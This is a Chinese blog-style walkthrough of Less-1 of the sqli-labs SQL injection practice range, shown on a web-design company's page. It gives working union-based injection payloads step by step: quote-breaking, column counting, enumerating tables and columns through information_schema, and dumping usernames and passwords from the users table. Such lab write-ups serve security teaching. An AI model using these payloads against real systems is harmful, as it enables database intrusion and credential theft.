尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
Sql注入靶场第一关
Sql注入的原理改变sql的判断条件普通注入或新添加指令1.普通注入(‘or11’)没有写新的sql,只是对原有语句进行了篡改满足or之后的条件也可运行2.新添加指令带在原本的sql后加上分号然后增加一句全新指令Sql的基础关键字段1.Select(要什么):例如SELECT username,password指取出username,password两列“ * ”指取出所有列2.from(从哪里例如user指从user这张表里取出数据3.where(细节过滤例如usernameAmy,指只找出用户名为Amy那一列连起来Select*FROM user WHERE username‘Amy’ AND password123456‘意思是从 user 表中查询所有列条件是用户名并且密码是123456Sql注入方式:第一关用到单引号字符型注入用 ’ 来打破闭合验证漏洞存在Sqli-Labs Less1 第一关1.第一步判断注入类型打开第一关显示如下在URL后面输入id1(?: 查询分隔符将前面的网页地址和后面要传给服务器的数据分开(id: 参数名代表要查询的字段数据(1: 传给网站的内容)输入?id1’显示如下出现报错说明id是单引号字符型注入。如果不报错说明是其它类型的注入2.第二步用order by猜列数order by x代表按第x列排序。 x≤总列数:正常执行 x≥总列数sql报错依次输入?id1’order by 1– , ?id1’order by 2– , ?id1’order by 3– , ?id1’order by 4–发现输入1,2,3时显示正确输入4时报错说明表不足4列当前的表一共3列。为什么要输入–后台自带的Sql末尾还有 ‘limit 0,1(为了一次只显示一条结果表示从第0行开始只取出1条数据)这样显示的语句变成 ?id1’order by 3’limit 0,1出现了两个闭合单引号干扰注入所以要用–注释掉 limit 0,1这个sql代码3.第三步union联合查询找显示位输入?id-1’ union select 1,2,3 --输入 id-1(让前面查询无数据只输出select1,2,3找到回显位置)如果前面查询有数据union后面的select 1,2,3内容会被盖住union是将两个查询结果合并4.第四步查询数据a.查询当前数据库名输入?id-1’ union select 1,2,database() --b.查询 security 库里面所有表名输入?id-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema‘security’ --union select 1,2,xx第三列是回显位置把查询结果放在第三个位置group_concat把多条查询结果合并成一行否则只能看到第一条表名table_name表的名字from information_schema.tables MYSQL系统自带的数据库有所有信息table_schema数据库名只查询security这个数据库里的表c.查询user表中的字段输入?id-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema‘security’ and table_name‘users’ --column_name字段列)的名字information_schema.columns存所有表的字段信息5.第五步爆账号密码输入?id-1’ union select 1,2,group_concat(username,‘:’,password,‘;’) from users --union 后面写查询直接读取 users 表的 username 和 password拿到账号密码username账号字段“”:分隔符号将账号和密码分开password:密码字段
RELATED

相关推荐

pi-interactive-subagents 内置 Agent 团队深度剖析:planner、scout、worker、reviewer 六名专家如何分工协作

pi-interactive-subagents 内置 Agent 团队深度剖析:planner、scout、worker、reviewer 六名专家如何分工协作

【免费下载链接】pi-interactive-subagents Interactive subagents for pi — spawn, orchestrate, and manage sub-agent sessions in cmux terminals 项目地址: https://gitcode.com/gh_mirrors/pi/pi-interactive-subagents 点击查看 免费下载 pi-interactive-s…

📅 2026/10/31 6:52:45
Redwood Service 层实战指南:Service Validations 与服务缓存全覆盖,快速搭出毫秒级业务层

Redwood Service 层实战指南:Service Validations 与服务缓存全覆盖,快速搭出毫秒级业务层

Redwood Service 层实战指南:Service Validations 与服务缓存全覆盖,快速搭出毫秒级业务层 【免费下载链接】redwood RedwoodGraphQL 项目地址: https://gitcode.com/gh_mirrors/re/redwood 给应用加一个"创建用户"接口,你要…

📅 2026/10/31 6:52:45
样章-第08讲-用状态机管理设备生命周期

样章-第08讲-用状态机管理设备生命周期

第 8 讲 | 用状态机管理设备生命周期【本讲要点】当设备有 6 个阶段、10 个事件时,if-else 会变成一团解不开的乱麻。状态机不是"架构洁癖",它是小内存系统的救命稻草。一、标志位地狱 先看一段真实项目里被"迭代"出来的代码&#x…

📅 2026/10/31 6:52:45
MORE NEWS

更多资讯

📰

乡村文旅数字化转型解决方案与实施路径

1. 乡村文旅数字化转型的现状与挑战乡村文旅产业近年来面临"难出圈"的普遍困境。根据文旅部数据显示,全国超过70%的乡村旅游项目年接待量不足10万人次,80%的乡村文旅项目处于微利或亏损状态。这种困境主要源于三个结构性矛盾:资源呈…

📰

MySQL执行流程与索引失效深度解析:从SQL生命周期到crash-safe机制

简介:本资源是一份面向Java后端开发者与数据库工程师的MySQL高频面试知识点精要总结,聚焦数据库原理、索引机制、执行流程与性能优化等核心考察方向。内容系统梳理了关系型与非关系型数据库本质区别、一条SQL语句在Server层与引擎层的完整执行链路&#…

📰

空间计算操作系统:从三维坐标管理到现实世界调度

1. 空间计算操作系统的本质与挑战当我们在Windows上双击"claude.exe"时弹出的"不是有效应用程序"错误提示,恰恰揭示了传统操作系统的局限性——它们只能识别二进制指令,却无法理解三维空间中的实体与行为。这正是SpaceOS要解决的根本…

📰

Spring Boot医疗系统架构设计与高并发优化实践

1. 项目背景与需求分析医疗信息化建设已成为现代医院管理的核心支柱。传统医疗系统普遍存在系统耦合度高、扩展性差、维护成本高等痛点问题。以北京某三甲医院的实际数据为例,其旧版HIS系统日均门诊量突破8000人次时,系统响应延迟高达15秒以上&#xff0…

📰

二次曲面可视化:从公式到可交互三维几何形态

1. 项目概述:为什么二次曲面不能只靠公式“硬背”我带过几届高等数学助教,每次讲到二次曲面这一章,教室后排总有人悄悄翻《同济高数》附录里的那张黑白示意图——线条细、标注小、六个曲面挤在一页纸上,连单叶双曲面和双叶双曲面的…

📰

10款免费网络安全抓包工具详解与选型指南

1. 网络安全抓包工具概述在网络安全领域,抓包工具就像网络工程师的"听诊器",能够实时监听和分析网络通信数据。这类工具通过捕获网络接口传输的数据包,帮助安全人员诊断网络问题、分析协议交互、检测安全漏洞。对于刚入门网络安全的…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬